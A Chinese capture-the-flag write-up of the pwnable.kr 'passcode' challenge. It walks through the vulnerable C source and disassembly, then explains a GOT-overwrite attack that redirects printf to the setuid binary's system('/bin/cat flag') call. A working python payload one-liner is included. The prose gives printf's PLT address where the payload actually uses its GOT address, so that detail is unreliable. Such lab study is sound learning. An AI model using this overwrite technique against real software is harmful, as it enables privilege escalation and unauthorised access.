pwnable.kr passcode

题目来自pwnable.kr
里面的思路是通过学习别人的文章获得的,作为个人的学习记录一下

题目是这样的
passcode
在这里插入图片描述

SSH连接一下
在这里插入图片描述
看看有什么文件
可以看到有三个文件,其中 flag 只对创建者 passcode_pwn 和 root 可读,而我们登录的用户是 passcode(从连接时的用户名或使用 whoami 命令可以得知),因此是没有权限读这个文件的。passcode 对有所有用户都开放读和执行权限,而且留意到权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。最后一个文件是 passcode 的源代码,这是分析程序执行逻辑的关键。

所以可以先运行一下passcode

在这里插入图片描述
随便输入下,可以看出来是不对的,我们先来阅读一下源码 也可以用IDA看,但是有源码了就直接看源码

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

有点长 我直接贴上来
通过源码我们知道 main 函数先后调用了 welcome 和 login 这两个函数,其中在 welcome 函数中输入用户名,在 login 中输入两个密码。
仔细观察可以发现,在 login 函数调用 scanf 的时候,对参数没有取址的操作,而且passcode1和passcode2是没有被初始化的,所以我们输入的数据写入了一个未知的地方
到这里我们可以想如果我们能控制passcode1和passcode2的值就可以任意读写(这样说可能有点不准确,因为程序如果可能开了别的保护,但是在漏洞利用中实现任意读写是非常重要的一步)
既然猫腻在这里,那我们就可以调试一下,看如何控制passcode1和passcode2
可以使用命令 objdump -d passcode直接看汇编也可以gdb -q passcode 下断来调试

08048665 <main>:
 8048665:	55                   	push   %ebp
 8048666:	89 e5                	mov    %esp,%ebp
 8048668:	83 e4 f0             	and    $0xfffffff0,%esp
 804866b:	83 ec 10             	sub    $0x10,%esp
 804866e:	c7 04 24 f0 87 04 08 	movl   $0x80487f0,(%esp)
 8048675:	e8 d6 fd ff ff       	call   8048450 <puts@plt>
 804867a:	e8 8a ff ff ff       	call   8048609 <welcome>
 804867f:	e8 e0 fe ff ff       	call   8048564 <login>
 8048684:	c7 04 24 18 88 04 08 	movl   $0x8048818,(%esp)
 804868b:	e8 c0 fd ff ff       	call   8048450 <puts@plt>
 8048690:	b8 00 00 00 00       	mov    $0x0,%eax
 8048695:	c9                   	leave  
 8048696:	c3                   	ret    
 8048697:	90                   	nop
 8048698:	90                   	nop
 8048699:	90                   	nop
 804869a:	90                   	nop
 804869b:	90                   	nop
 804869c:	90                   	nop
 804869d:	90                   	nop
 804869e:	90                   	nop
 804869f:	90                   	nop

08048609 <welcome>:
 8048609:	55                   	push   %ebp
 804860a:	89 e5                	mov    %esp,%ebp
 804860c:	81 ec 88 00 00 00    	sub    $0x88,%esp
 8048612:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 8048618:	89 45 f4             	mov    %eax,-0xc(%ebp)
 804861b:	31 c0                	xor    %eax,%eax
 804861d:	b8 cb 87 04 08       	mov    $0x80487cb,%eax
 8048622:	89 04 24             	mov    %eax,(%esp)
 8048625:	e8 f6 fd ff ff       	call   8048420 <printf@plt>
 804862a:	b8 dd 87 04 08       	mov    $0x80487dd,%eax
 804862f:	8d 55 90             	lea    -0x70(%ebp),%edx
 8048632:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048636:	89 04 24             	mov    %eax,(%esp)
 8048639:	e8 62 fe ff ff       	call   80484a0 <__isoc99_scanf@plt>
 804863e:	b8 e3 87 04 08       	mov    $0x80487e3,%eax
 8048643:	8d 55 90             	lea    -0x70(%ebp),%edx
 8048646:	89 54 24 04          	mov    %edx,0x4(%esp)
 804864a:	89 04 24             	mov    %eax,(%esp)
 804864d:	e8 ce fd ff ff       	call   8048420 <printf@plt>
 8048652:	8b 45 f4             	mov    -0xc(%ebp),%eax
 8048655:	65 33 05 14 00 00 00 	xor    %gs:0x14,%eax
 804865c:	74 05                	je     8048663 <welcome+0x5a>
 804865e:	e8 dd fd ff ff       	call   8048440 <__stack_chk_fail@plt>
 8048663:	c9                   	leave  
 8048664:	c3                   	ret    
08048564 <login>:
 8048564:	55                   	push   %ebp
 8048565:	89 e5                	mov    %esp,%ebp
 8048567:	83 ec 28             	sub    $0x28,%esp
 804856a:	b8 70 87 04 08       	mov    $0x8048770,%eax
 804856f:	89 04 24             	mov    %eax,(%esp)
 8048572:	e8 a9 fe ff ff       	call   8048420 <printf@plt>
 8048577:	b8 83 87 04 08       	mov    $0x8048783,%eax
 804857c:	8b 55 f0             	mov    -0x10(%ebp),%edx
 804857f:	89 54 24 04          	mov    %edx,0x4(%esp)
 8048583:	89 04 24             	mov    %eax,(%esp)
 8048586:	e8 15 ff ff ff       	call   80484a0 <__isoc99_scanf@plt>
 804858b:	a1 2c a0 04 08       	mov    0x804a02c,%eax
 8048590:	89 04 24             	mov    %eax,(%esp)
 8048593:	e8 98 fe ff ff       	call   8048430 <fflush@plt>
 8048598:	b8 86 87 04 08       	mov    $0x8048786,%eax
 804859d:	89 04 24             	mov    %eax,(%esp)
 80485a0:	e8 7b fe ff ff       	call   8048420 <printf@plt>
 80485a5:	b8 83 87 04 08       	mov    $0x8048783,%eax
 80485aa:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80485ad:	89 54 24 04          	mov    %edx,0x4(%esp)
 80485b1:	89 04 24             	mov    %eax,(%esp)
 80485b4:	e8 e7 fe ff ff       	call   80484a0 <__isoc99_scanf@plt>
 80485b9:	c7 04 24 99 87 04 08 	movl   $0x8048799,(%esp)
 80485c0:	e8 8b fe ff ff       	call   8048450 <puts@plt>
 80485c5:	81 7d f0 e6 28 05 00 	cmpl   $0x528e6,-0x10(%ebp)
 80485cc:	75 23                	jne    80485f1 <login+0x8d>
 80485ce:	81 7d f4 c9 07 cc 00 	cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:	75 1a                	jne    80485f1 <login+0x8d>
 80485d7:	c7 04 24 a5 87 04 08 	movl   $0x80487a5,(%esp)
 80485de:	e8 6d fe ff ff       	call   8048450 <puts@plt>
 80485e3:	c7 04 24 af 87 04 08 	movl   $0x80487af,(%esp)
 80485ea:	e8 71 fe ff ff       	call   8048460 <system@plt>
 80485ef:	c9                   	leave  
 80485f0:	c3                   	ret    
 80485f1:	c7 04 24 bd 87 04 08 	movl   $0x80487bd,(%esp)
 80485f8:	e8 53 fe ff ff       	call   8048450 <puts@plt>
 80485fd:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048604:	e8 77 fe ff ff       	call   8048480 <exit@plt>

直接看这三个函数
对照着源代码,可以知道 name 的地址是 -0x70(%ebp),即 %ebp - 0x70,再看 login 函数,同样对照源代码,知道 passcode1 的地址是 -0x10(%ebp),即 %ebp - 0x10,passcode2 的地址是 -0xc(%ebp),即 %ebp - 0xc。注意这两个函数的 %ebp 是不一样的,但是由于这两个函数是由 main 函数同步调用的而且它们的参数个数一样多(都是 0 个),所以在数值上两个函数的 %ebp 是相等的。

而通过计算可以知道,name 的地址比 passcode1 的地址低 96 个字节(0x70 - 0x10 = 96),name 的地址比 password2 的地址低 100 个字节(0x70 - 0xc = 100),而我们可以控制的 name 刚好能够到 100 个字节(看源码),也就是说,我们刚好能够控制 passcode1 的值而刚好不能控制 password2 的值(因为程序开启了栈溢出保护,所以我们不能再继续增加name的输入来改变passcode2的值,如果能改,直接改为两个特定数就可以了,但这里不行)。

既然我们能够控制passcode1 的值,那么我们就可以scanf 的时候对一个地址进行写入,那么怎么利用这点呢,通过看大牛的思路,我知道了这里要使用一种叫GOT表覆写技术来实现我们的利用什么是GOT表可以看这里,涉及到了ELF文件技术问题我们在这里就不展开了(https://blog.csdn.net/qq_18661257/article/details/54694748
https://www.jianshu.com/p/0ac63c3744dd)
知识点:GOT表是刚好是可写的

objdump -R passcode

看一下GOT表

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

而我们通过汇编可以看到scanf 后会再执行下面的函数

804858b:	a1 2c a0 04 08       	mov    0x804a02c,%eax
 8048590:	89 04 24             	mov    %eax,(%esp)
 8048593:	e8 98 fe ff ff       	call   8048430 <fflush@plt>
 8048598:	b8 86 87 04 08       	mov    $0x8048786,%eax
 804859d:	89 04 24             	mov    %eax,(%esp)
 80485a0:	e8 7b fe ff ff       	call   8048420 <printf@plt>
 80485a5:	b8 83 87 04 08       	mov    $0x8048783,%eax
 80485aa:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80485ad:	89 54 24 04          	mov    %edx,0x4(%esp)
 80485b1:	89 04 24             	mov    %eax,(%esp)
 80485b4:	e8 e7 fe ff ff       	call   80484a0 <__isoc99_scanf@plt>
 80485b9:	c7 04 24 99 87 04 08 	movl   $0x8048799,(%esp)
 80485c0:	e8 8b fe ff ff       	call   8048450 <puts@plt>

所以你修改他们的任意一个也是可以的,把他们GOT表的地址改掉,然后他们再调用的就是我修改好的任意地址,但是这里我们要输出的是 flag 的内容,看到 login 函数中调用了 system 函数来输出 flag 的内容,普通用户在运行这个程序的时候会被暂时赋予 root 权限,所以直接调用这个 system 函数是可以输出 flag 中的内容的。因此,我们可以把 name 的最后四个字节写成 plt 中 printf 函数的地址(我选的是printf),即 0x08048420 ,然后再输入 passcode1 时输入调用 system 函数的地址,即 0x080485e3 (注意函数调用前还有给参数赋值等初始化操作,因此这个地址在 call system 语句的前面一点点),这样实际上相当于在执行printf("enter passcode2 : ");语句时执行的是 if 中的system("/bin/cat flag");语句了。

用 python 生成 payload 并作为程序的输入

python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode

这里注意字节转换,因为scanf是要求%d输入
在这里插入图片描述
参考文章:
https://www.jianshu.com/p/886a7b8c2ad5 作者:半人前
https://www.cnblogs.com/binlmmhc/p/6189514.html 作者:Bin_LmmH_C

感谢

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值